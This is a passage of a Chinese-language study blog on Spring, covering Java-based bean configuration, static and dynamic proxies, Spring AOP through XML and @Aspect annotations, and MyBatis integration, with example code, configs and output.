<context:component-scan base-package="top.dustball"/>
</beans>

实际上注解贡献的bean和xml中注册的bean地位是完全相同的

"基于java的配置",就是指,使用一个java类作为bean的注册来源,而不再使用任何xml文件

比如top.dustball.pojo.UserConfig这个类,作为bean的来源,可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.dustball.pojo;

import org.junit.jupiter.api.Test;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Scope;

@Configuration
public class UserConfig {
@Bean(initMethod = "init")
@Scope("singleton")
public User deutschball(){
return new User(100,"deutschball","sjh");
}


@Bean
public UserProxy deutschproxy(){
return new UserProxy(deutschball(),"0x1000");
}
}

@Configuration注解作用于类上,表明本类作为bean的注册来源

被@Bean注解修饰的成员函数将会生成一个id为函数名的bean

可以结合@Scope修饰该bean的作用域

如果有成员对象依赖,可以使用其他函数的返回值,只要将对应函数修饰为单例模式,就可以保证每次返回同一个对象

需要注意的是,基于java类的配置,会与直接在User,UserProxy类上写的@Component注解打架,并且有可能创建两个bean

因此要么 使用java类的配置,要么使用xml+注解,不要混用

基于java类的配置 基于xml文件的配置
方法名 bean id
方法返回值 bean class
@Bean修饰方法 注册一个bean

还要注意的是,实例化容器时有变动

从xml构建容器要这样写:

1
ApplicationContext applicationContext = new ApplicationContext("beans.xml");

从java类构建容器要这样写:

1
ApplicationContext context=new AnnotationConfigApplicationContext(UserConfig.class);

代理模式

为啥要学代理模式呢?

因为Spring AOP由动态代理实现,学动态代理是为了知道其原理

为啥要先学静态代理呢?因为动态代理和静态代理的目的相同

在不改变已有代码的基础上,增加新功能

至于为啥不能改变原有代码,是主人的变态任务罢了

比如第三方jar包提供的类或者函数,要增强其功能,就可以通过代理模式实现

十五斤,三十块,满意了吧?

静态代理

静态代理通过组合实现

也就是被代理对象作为代理类的成员对象.

类图表示为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
classDiagram 
class NotePad{
+void print();
+void insert(row,col,text)
+void delete(row,col,length)
}
class RealNotePad{
-filename:string
+void print();
+void insert(int index,string text)
+void delete(int begin,int end)
+void open(string filename)
}
class ProxyNotePad{
-realnotepad:RealNotePad
-filename:string
-buffer:string
+void print();
+void insert(row,col,text)
+void delete(row,col,length)
}
NotePad<|..RealNotePad
NotePad<|..ProxyNotePad
class Main{
void main();
}
ProxyNotePad<..Main
RealNotePad <..ProxyNotePad
ProxyNotePad o..RealNotePad

动态代理

动态体现在:没有实际存在的代理类,在运行时用反射创建临时代理类,实例化代理对象之后返回这个代理对象,交由被代理的接口管理句柄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package top.dustball.dao;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

@Data
@AllArgsConstructor
public class ProxyInvocationHandler implements InvocationHandler {
private Object target;

public Object getProxy(){
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
this
);
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method.getName()+" method called");
return method.invoke(target,args);
}
}

使用代理:

1
2
3
4
UserDaoImpl userDao=new UserDaoImpl();
ProxyInvocationHandler handler = new ProxyInvocationHandler(userDao);
UserDao proxy=(UserDao)handler.getProxy();
proxy.delete(10);

1.UserDaoImpl userDao=new UserDaoImpl();

实例化了一个普通的UserDao实现类对象userDao,这跟之前没有用代理的情形没有区别

2.ProxyInvocationHandler handler = new ProxyInvocationHandler(userDao);

userDao作为被代理对象,其引用传递给handler.target保管,便于handler成员方法调用

ProxyInvocationHandler类中实现了两个方法,getProxy和invoke,(忽略lombok自动实现的方法),

其中InvocationHandler接口实际上只要求必须实现invoke方法

1
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable

其中proxy是被代理的对象,method是proxy对象要被增强的方法,args是本来应该传递给该方法的参数

getProxy纯粹是我们为了省事才写到ProxyInvocationHandler类中的方法

到此为止只调用过ProxyInvocationHandler的全参数构造函数(lombok注解@AllArgsConstructor),也就是说,只做了target引用赋值这么一件事

大的要来了

3.UserDao proxy=(UserDao)handler.getProxy();

获取了一个代理对象,怎么说获取就获取了?为什么从handler那里获取?关键在于handler.getProxy函数

这个函数干了啥?

1
2
3
4
5
6
7
public Object getProxy(){
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
this
);
}

java.lang.reflect.Proxy这个类用于动态生成代理类,只需传入目标接口、目标接口的类加载器以及InvocationHandler便可为目标接口生成代理类及代理对象。具体函数干了啥,需要反射的知识,现在不会

三个参数,

第一个是被代理类的类加载器,也就是target.getClass().getClassLoader(),也就是UserDaoImpl类的类加载器,

然而视频教程里这里写的是this.getClass().getClassLoader(),也就是ProxyInvocationHandler类的类加载器

弹幕的说法是,这两个类都是我们自己写的自定义类,所以类加载器是一个

打印观察发现确实如此

1
2
3
4
5
UserDaoImpl userDao=new UserDaoImpl();
System.out.println(userDao.getClass().getClassLoader());

ProxyInvocationHandler handler = new ProxyInvocationHandler(userDao);
System.out.println(handler.getClass().getClassLoader());

执行结果

1
2
jdk.internal.loader.ClassLoaders$AppClassLoader@78308db1
jdk.internal.loader.ClassLoaders$AppClassLoader@78308db1

都是使用应用类加载器(实际上一共就三个类加载器)

在这里插入图片描述

也就是说,这三个参数传递给Proxy.newProxyInstance之后,该函数并不知道要代理哪一个对象,只知道需要代理哪些接口,增强方法在this.invoke,那么代理对象执行的业务,是如何作用到原对象上的呢?

通过invoke函数作用到原对象userDao上

第二个是需要代理的接口,因为被代理类可以implements多个接口,因此这里可以有选择地代理其接口

第三个是本对象(一个实现InvocationHanler接口的对象,目的是绑定本对象的invoke函数,增强代理接口的功能)

三个参数传入Proxy.newProxyInstance之后,返回一个代理对象,交给左值UserDao proxy保管

这个代理对象具有哪些函数呢?这个由第二个参数决定,传入的接口中有啥函数,这个代理对象就有啥函数

并且代理对象每次调用这些函数,(不管哪一个)都会首先调用invoke方法,可以在invoke函数中增强函数功能

4.proxy.delete(10);

代理对象调用接口中的delete函数,然而是否真的能够调用到UserDaoImpl.delete()函数,得看ProxyInvocationHandler.invoke函数的脸色

1
2
3
4
5
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method.getName()+" method called");
return method.invoke(target,args);
}

invoke拦截proxy.delete这次调用,然后打印delete method called

然后才会将调用转发给target.delete(args)

具体底层怎么实现,学了反射再说

Spring AOP

之前学了动态代理,并不是让我们直接用动态代理写代码,SpringAOP已经帮我们实现了,我们只需要调用其接口

官方の废话

概念 意义
横切关注点 跨越应用程序多个模块的方法或者功能,与业务逻辑无关但是需要关注,比如日志,安全,缓存,事务
切面 横切关注点被模块化的特殊对象,切面是一个类
通知 切面要完成的工作,通知是切面类的一个方法
目标 被通知的对象(目标对象)
代理 代理对象
切入点 可以被通知的函数,每个成员函数都可以作为切入点
连接点 实际被通知的函数,只有感兴趣的切入点才会被作为连接点

AOP/过滤器/钩子

比较类似的几个东西

AOP用于拦截函数调用

过滤器用于拦截用户请求

钩子是回调性质的,用钩子也可以改变程序控制流

AOP和钩子的区别在于,钩子必须给每个函数分别设置,但是AOP可以直接给多个函数上钩子

Spring AOP

Spring AOP是AOP的实现

Spring AOP可以劫持一个方法,在方法执行之前/之后,或者抛出异常时添加额外功能

image-20230129091802544

当代理对象执行一个业务,比如add时:

1
2
3
4
5
6
代理对象.add(){
验证参数();
前置日志();
目标对象.add();
后置日志();
}

这样看来目标对象的所有业务逻辑都被劫持了,并且在代理对象中加上了相同的前置和后置业务

能否有选择的劫持,不同的函数调用劫持后不同对待呢?

如果是我们自己实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package top.dustball.dao;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

@Data
@AllArgsConstructor
public class ProxyInvocationHandler implements InvocationHandler {
private Object target;

public Object getProxy(){
return Proxy.newProxyInstance(
this.getClass().getClassLoader(),
target.getClass().getInterfaces(),
this
);
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().equals("add")){
System.out.println("add hijacked");
return 0;//劫持add方法不予执行
}
else if(method.getName().equals("select")){
return method.invoke(target,args);//直接放行
}
else{
System.out.println(method.getName()+" method called");//其他方法打印前置日志后放行
return method.invoke(target,args);
}
}

}

代理对象的所有方法调用都会首先被劫持到invoke方法,invoke方法决定下一步如何

在SpringAOP中,不需要自己写动态代理的逻辑,只需要写好配置文件

方法1:XML配置

首先在Service层有一个UserServiceImpl下面用SpringAOP代理之

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package top.dustball.service.User;

public class UserServiceImpl implements UserService{
@Override
public void add() {
System.out.println("UserService add calleda");
}
@Override
public void select() {
}
@Override
public void update() {
}
@Override
public void delete() {
}
}

在log包下有一个日志类LogBefore实现了MethodBeforeAdvice接口,这个类将会被作为切面,其before函数将会作为通知作用于UserServiceImpl的成员函数调用之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package top.dustball.log;

import org.springframework.aop.MethodBeforeAdvice;

import java.lang.reflect.Method;

public class LogBefore implements MethodBeforeAdvice {

@Override
public void before(Method method, Object[] args, Object target) throws Throwable {
System.out.println("log before "+method.getName()+" is called");
method.invoke(target,args);//此处存在错误,留作伏笔

}
}

下面就是xml文件的配置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
https://www.springframework.org/schema/aop/spring-aop.xsd">

<context:annotation-config/>
<context:component-scan base-package="top.dustball"/>
<bean id="userService" class="top.dustball.service.User.UserServiceImpl"/>
<bean id="logBefore" class="top.dustball.log.LogBefore"/>
<bean id="logAfter" class="top.dustball.log.LogAfter"/>

<aop:config>
<!-- 定义切入点-->
<aop:pointcut id="cutBefore" expression="execution(* top.dustball.service.User.UserServiceImpl.* (..))"/>
<aop:pointcut id="cutAfterAdd" expression="execution(* top.dustball.service.User.UserServiceImpl.add())"/>

<!-- 切入点和哪个切面通知挂钩-->
<aop:advisor advice-ref="logBefore" pointcut-ref="cutBefore"/>
<aop:advisor advice-ref="logAfter" pointcut-ref="cutAfterAdd"/>
</aop:config>
</beans>

首先注册三个bean,其中userService是目标对象

另外两个bean都是日志类,作为切面

然后是aop配置,其中expression表达式是关键,它决定本切入点作用于被代理对象的哪一个函数

1
<aop:pointcut id="cutBefore" expression="execution(* top.dustball.service.User.UserServiceImpl.* (..))"/>

这句话干了个什么事呢?给UserServieImpl类的任何函数都带上cutBefore切入点

1
2
3
4
5
6
7
execution(
modifiers-pattern
ret-type-pattern
declaring-type-pattern
name-pattern(param-pattern)
throws-pattern
)

returning type pattern,name pattern, and parameters pattern是必须的.

ret-type-pattern:可以为*表示任何返回值,全路径的类名等.

name-pattern:指定方法名, 代表所有

set代表以set开头的所有方法.

parameters pattern:指定方法参数(声明的类型),

(..)代表所有参数,(*)代表一个参数

(*,String)代表第一个参数为任何值,第二个为String类型.

到现在位置是只定义了切入点,并没有往里切入东西,此时调用userService对象,看不出被代理的作用

下面给切入点插入通知就体现代理的作用了

1
<aop:advisor advice-ref="logBefore" pointcut-ref="cutBefore"/>

给cutBefore切入点加上logBefore通知

测试类这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package top.dustball;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import top.dustball.service.User.UserService;

public class TestUser {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
UserService userService = (UserService) context.getBean("userService");
userService.add();
}
}

运行结果:

1
2
3
4
log before add is called
UserService add called
UserService add called
log after add is called with return value = null

表明userService已经被代理了

然而奇怪的是,我们并没有显式调用代理对象,而是从容器context中拿出目标对象userService直接使用

程序逻辑却没有根据userService.add本来的样子走,而是执行了logBefore.before切面通知之后,然后才执行userService.add

也就是说,在Test类看来,他不知道userService.add到底怎么实现的,他也看不到存在AOP,他只管调用就可以了

奇怪的是,测试类中只调用了一次userService.add,结果中却打印了两次UserService add called

这是因为在LogBefore.before切面通知函数中,我们画蛇添足了

1
2
3
4
5
6
7
8
9
public class LogBefore implements MethodBeforeAdvice {

@Override
public void before(Method method, Object[] args, Object target) throws Throwable {
System.out.println("log before "+method.getName()+" is called");
method.invoke(target,args);//画蛇添足
}
}

method.invoke(target,args);这句会在before函数执行完毕之后,被自动执行,不需要我们手动调用

手动调用了就会再执行一次,去掉即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package top.dustball.log;

import org.springframework.aop.MethodBeforeAdvice;

import java.lang.reflect.Method;

public class LogBefore implements MethodBeforeAdvice {

@Override
public void before(Method method, Object[] args, Object target) throws Throwable {
System.out.println("log before "+method.getName()+" is called");
// method.invoke(target,args);
}
}

遗留问题

既然Test中调用的仍然是userService这个bean,那么把他作为UserServiceImpl可以不

也就是说

1
2
UserServiceImpl userServiceimp = (UserServiceImpl) context.getBean("userService");
UserService userService = (UserService) context.getBean("userService");

这两种写法哪个对?

结果证明UserService userService = (UserService) context.getBean("userService");这个是对的

一定要注意左值是UserService接口类型,不是UserServiceImpl类型

那么为啥userService这个bean一开始是一个UserServiceImpl的对象,后来就不是了?

如果不加aop:config这一段,两种写法是都可以的

1
2
3
4
5
6
7
8
9
10
    <aop:config>
<!-- 定义切入点-->
<aop:pointcut id="cutBefore" expression="execution(* top.dustball.service.User.UserServiceImpl.* (..))"/>
<aop:pointcut id="cutAfterAdd" expression="execution(* top.dustball.service.User.UserServiceImpl.add())"/>

<!-- 切入点和哪个切面通知挂钩-->
<aop:advisor advice-ref="logBefore" pointcut-ref="cutBefore"/>
<aop:advisor advice-ref="logAfter" pointcut-ref="cutAfterAdd"/>
</aop:config>

加上aop:config之前,userService.getClass()="class top.dustball.service.User.UserServiceImpl"

加上aop:config之后,userService.getClass()="class jdk.proxy2.$Proxy7",已经是代理对象了

至于到底发生了什么让userService被狸猫换太子,现在不想管

方法2:使用自定义类实现AOP

基本都使用方法1,啥时候用到这个法再来学吧

方法3:使用注解开发

首先要有一个切面类

@Aspect注解作用到的类就作为切面类,

其方法中被@Before或者@After或者@Around注解的,成为通知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package top.dustball.AOP;


import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.Signature;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;


@Aspect
public class AnnotationPointCut {

//before和after注解的方法,在执行之后,控制流会自动执行目标对象的函数,不需要手动执行,因此没有参数
// @Before("execution(* top.dustball.service.User.UserServiceImpl.* (..))")
// public void before(){
// System.out.println("log before method is called");
// }
//
// @After("execution(* top.dustball.service.User.UserServiceImpl.* (..))")
// public void after(){
// System.out.println("log after method is called");
// }
@Around("execution(* top.dustball.service.User.UserServiceImpl.* (..))")
public void around(ProceedingJoinPoint proceedingJoinPoint) throws Throwable {
System.out.println("before");
Signature signature = proceedingJoinPoint.getSignature();//获取函数签名
System.out.println(signature);
proceedingJoinPoint.proceed();//真正调用目标对象的add方法
System.out.println("after");
}
}

然后将该切面类注册到Spring容器中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
https://www.springframework.org/schema/aop/spring-aop.xsd">

<context:annotation-config/>
<context:component-scan base-package="top.dustball"/>
<bean id="annotationPointCut" class="top.dustball.AOP.AnnotationPointCut"/>
<aop:aspectj-autoproxy/>

</beans>

实现的功能和方法1相同

测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package top.dustball;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import top.dustball.service.User.UserService;
import top.dustball.service.User.UserServiceImpl;

public class TestUser {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
UserService userService = (UserService) context.getBean("userService");
userService.add();
}
}

执行结果

1
2
3
4
before
void top.dustball.service.User.UserService.add()
UserService add called
after

Spring+MyBatis

maven依赖

一定要注意spring的各个组件版本号一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>6.0.4</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>6.0.4</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.24</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>6.0.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc -->


<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.19</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
<scope>runtime</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-jdbc -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>6.0.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.mybatis/mybatis-spring -->
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>3.0.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.mybatis.spring.boot/mybatis-spring-boot-starter -->
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>3.0.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.mysql/mysql-connector-j -->
<dependency>
<groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId>
<version>8.0.32</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>6.0.4</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>2.0.6</version>
</dependency>

回顾javaweb中使用mybatis

之前javaweb中如何使用mybatis的?

mybatis-config.xml配置

在resources目录下有一个mybatis-config.xml文件,其作用主要是配置数据源和映射mapper映射关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"https://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>



<typeAliases>
<!-- top.dustball.pojo下面的类在本文件中均可以只是用非全限制类名-->
<package name="top.dustball.pojo"/>
</typeAliases>


<!-- environments目录下面可以配置多个environment环境,在environments标签的default属性中设置使用哪一个即可-->
<environments default="development">
<environment id="development">
<transactionManager type="JDBC"/>
<dataSource type="POOLED">
<property name="url" value="jdbc:mysql://localhost:3306/mybatis"/>
<property name="driver" value="com.mysql.cj.jdbc.Driver"/>
<property name="username" value="root"/>
<property name="password" value="sjh123456"/>
</dataSource>
</environment>

</environments>


<!-- 注册映射关系-->
<mappers>
<mapper resource="top/dustball/mapper/UserMapper/UserMapper.xml"/>
</mappers>
</configuration>

top.dustball.mapper.UserMapper包

一个UserMapper接口,一个UserMapper.xml映射配置文件

其中UserMapper.xml必须绑定UserMapper接口,

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="top.dustball.mapper.UserMapper.UserMapper"> <!--绑定接口-->
<!-- 在UserMapper接口中使用注解开发-->
</mapper>

然后可以在UserMapper.xml中写CRUD标签,比如<select>

也可以在UserMapper接口中直接使用注解开发

1
2
3
4
5
6
7
8
9
10
11
package top.dustball.mapper.UserMapper;

import org.apache.ibatis.annotations.Select;
import top.dustball.pojo.User;

public interface UserMapper {
// 使用注解之后,就不需要在UserMapper.xml中写<select>这种增删改查的标签了
@Select("SELECT * FROM user WHERE id= #{userID}")
public User getUser(int userID);

}

top.dustball.utils下创建MyBatisUtil工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package top.dustball.utils;

import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

import java.io.InputStream;

public class MyBatisUtil {

private static SqlSessionFactory sqlSessionFactory;//类变量,只会被静态代码块初始化一次
static {//静态代码块,只会在类加载时执行一次
try {
String resource = "mybatis-config.xml";//配置文件位置
InputStream inputStream = Resources.getResourceAsStream(resource);//xml文件转化为文件输入流
sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);//根据文件创建sqlSessionFactory工厂
} catch (Exception e) {
e.printStackTrace();
}
}

public static SqlSession getSqlSession(){//获取一个数据库会话连接
return sqlSessionFactory.openSession();
}
}

测试

此后就可以在测试类中MyBatisUtil.getSqlSession了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package top.dustball;

import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.core.io.InputStreamResource;
import top.dustball.mapper.UserMapper.UserMapper;
import top.dustball.pojo.User;
import top.dustball.utils.MyBatisUtil;

import java.io.IOException;
import java.io.InputStream;

public class TestUser {
public static void main(String[] args) throws IOException {

SqlSession sqlSession = MyBatisUtil.getSqlSession();
UserMapper mapper = sqlSession.getMapper(UserMapper.class);//获取UserMapper.class的映射器
User user = mapper.getUser(2);
System.out.println(user);

}
}

Spring中使用mybatis

配置spring-dao.xml

(mybatis-config.xml可以保留也可以直接扬了,spring完全可以覆盖mybatis的配置,这里选择保留)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop" xmlns:util="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
https://www.springframework.org/schema/aop/spring-aop.xsd http://www.springframework.org/schema/util https://www.springframework.org/schema/util/spring-util.xsd">


<!-- 注册数据源,使用第三方类DriverManagerDataSource-->
<bean id="datasource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/mybatis"/>
<property name="username" value="root"/>
<property name="password" value="sjh123456"/>
</bean>


<!--注册工厂类,此处可以导入mybatis-config.xml-->
<!--也可以直接在本sqlSessionFactory中配置,不使用mybatis-config.xml-->
<!--教程的做法是,mybatis-config.xml只保留typeAilas作用-->
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<property name="dataSource" ref="datasource"/>
<property name="configLocation" value="classpath:mybatis-config.xml"/>
<!-- 可以在此处注册映射器,也可以在mybatis-config.xml中注册映射器,由于mybatis-config.xml已经注册过,这里不再重复-->
<!-- <property name="mapperLocations" value="top/dustball/mapper/UserMapper/UserMapper.xml"/>-->
<!-- <property name="typeAliases" value="top.dustball.pojo"/>-->
</bean>

<!-- 创建数据库会话实例,本bean的作用与之前的MyBatisUtil.getSqlSession相同-->
<bean id="sqlSession" class="org.mybatis.spring.SqlSessionTemplate">
<!-- 本bean只可以只用构造函数注入,因其不含setter方法-->
<constructor-arg name="sqlSessionFactory" ref="sqlSessionFactory"/>
</bean>

<!-- 实例化映射器,关于user表的业务可以直接从userMapper上进行操作,相当于sqlSession.getMapper(UserMapper.class)-->
<bean id="userMapper" class="top.dustball.mapper.UserMapper.UserMapperImpl">
<property name="sqlSession" ref="sqlSession"/>
</bean>
</beans>

一是注意sqlSession的类型是SqlSessionTemplate,不再是SelSession(实际上是相同的作用)

二是注意最后创建的映射器实例,是UserMapperImpl类的实例,(显然UserMapper接口不能实例化)

这是区别于javaweb中使用mybatis的地方,之前只需要UserMapper接口和UserMapper.xml即可

现在还需要加一个UserMapperImpl,因为Spring bean是实例,只有类才可以实例化

总结一下就是

实例化数据源

实例化工厂

实例化会话

实例化映射器

top.dustball.mapper.UserMapper包下再创建UserMapperImpl类

现在UserMapper包下有三个文件

1
2
3
4
5
6
7
8
9
PS C:\Users\86135\Desktop\sprint-01\Demo2\src\main\java\top\dustball\mapper\UserMapper> ls

Directory: C:\Users\86135\Desktop\sprint-01\Demo2\src\main\java\top\dustball\mapper\UserMapper

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 2023/1/30 11:22 352 UserMapper.java
-a--- 2023/1/30 10:47 316 UserMapper.xml
-a--- 2023/1/30 11:24 668 UserMapperImpl.java

其中UserMapperImpl是新增的实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.dustball.mapper.UserMapper;

import org.mybatis.spring.SqlSessionTemplate;
import top.dustball.pojo.User;

public class UserMapperImpl implements UserMapper{
private SqlSessionTemplate sqlSession;

public void setSqlSession(SqlSessionTemplate sqlSession) {
//设置setter方法,方便注入
this.sqlSession = sqlSession;
}

@Override
public User getUser(int userID) {
// System.out.println("getUser called");
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
return mapper.getUser(userID);//实际上还是调用了UserMapper接口中被@Select注解的getUser方法
}
}

原本获取mapper映射器是用户(程序员)的任务,需要在测试类中完成

现在mapper直接被封装到UserMapperImpl中

程序员只需要在测试类中调用userMapper.getUser(2);

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package top.dustball;

import org.springframework.context.support.ClassPathXmlApplicationContext;
import top.dustball.mapper.UserMapper.UserMapper;
import top.dustball.pojo.User;
import top.dustball.utils.MyBatisUtil;

import java.io.IOException;

public class TestUser {
public static void main(String[] args) throws IOException {
//创建SpringIoc容器
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring-dao.xml");

//获取userMapper映射器bean
UserMapper userMapper = (UserMapper) context.getBean("userMapper");

//执行dao业务
User user = userMapper.getUser(2);

System.out.println(user);
}
}

spring+mybatis简化用法

之前在UserMapperImpl中我们需要维护一个成员对象sqlSession,如果让UserMapperImpl继承SqlSessionDaoSupport类,则不再需要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package top.dustball.mapper.UserMapper;

import org.mybatis.spring.SqlSessionTemplate;
import org.mybatis.spring.support.SqlSessionDaoSupport;
import top.dustball.pojo.User;

public class UserMapperImpl extends SqlSessionDaoSupport implements UserMapper{
// private SqlSessionTemplate sqlSession;
// public void setSqlSession(SqlSessionTemplate sqlSession) {
////设置setter方法,方便注入
// this.sqlSession = sqlSession;
// }

@Override
public User getUser(int userID) {
return getSqlSession().getMapper(UserMapper.class).getUser(userID);
//实际上还是调用了UserMapper接口中被@Select注解的getUser方法
}
}

这个类已经帮我们实现了getSqlSession方法

需要注意的是,在spring-dao.xml中稍有变化

1
2
3
4
5
6
7
8
9
   之前:
<bean id="userMapper" class="top.dustball.mapper.UserMapper.UserMapperImpl">
<property name="sqlSession" ref="sqlSession"/>
</bean>

之后:
<bean id="userMapper" class="top.dustball.mapper.UserMapper.UserMapperImpl">
<property name="sqlSessionTemplate" ref="sqlSession"/>
</bean>

